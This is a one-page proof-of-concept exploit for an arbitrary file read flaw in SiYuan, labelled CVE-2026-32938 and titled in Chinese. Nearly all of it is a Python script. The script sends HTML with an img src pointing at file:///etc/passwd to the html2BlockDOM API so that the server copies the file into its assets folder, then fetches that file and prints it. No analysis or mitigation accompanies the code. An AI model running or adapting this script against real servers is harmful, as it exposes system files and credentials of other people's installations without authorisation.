CVE-2026-32938 SiYuan 任意文件读取漏洞

import requests # Target configuration target_url = "http://localhost:6806" sensitive_file_path = "file:///etc/passwd" # Path to the sensitive file session_cookie = "session_cookie_here" # Valid session cookie def exploit(): headers = { "Cookie": session_cookie, "Content-Type": "application/json" } # Craft payload with file:// link # This triggers the copy of the local file to the assets directory payload = { "dom": f'<img src="{sensitive_file_path}">' } api_endpoint = f"{target_url}/api/lute/html2BlockDOM" print(f"[*] Sending malicious HTML to {api_endpoint}...") try: # Step 1: Trigger the vulnerability r1 = requests.post(api_endpoint, json=payload, headers=headers) if r1.status_code == 200: print("[+] Server processed the HTML, file might be copied.") # Step 2: Attempt to retrieve the file # Note: The exact filename in assets depends on implementation logic. # Assuming the filename 'passwd' is preserved or known. filename = sensitive_file_path.split("/")[-1] asset_url = f"{target_url}/assets/{filename}" print(f"[*] Attempting to fetch file from {asset_url}...") r2 = requests.get(asset_url, headers=headers) if r2.status_code == 200: print("[+] Exploit successful! File content:") print(r2.text) else: print(f"[-] Failed to retrieve file. Status: {r2.status_code}") else: print(f"[-] Failed to trigger payload. Status: {r1.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit()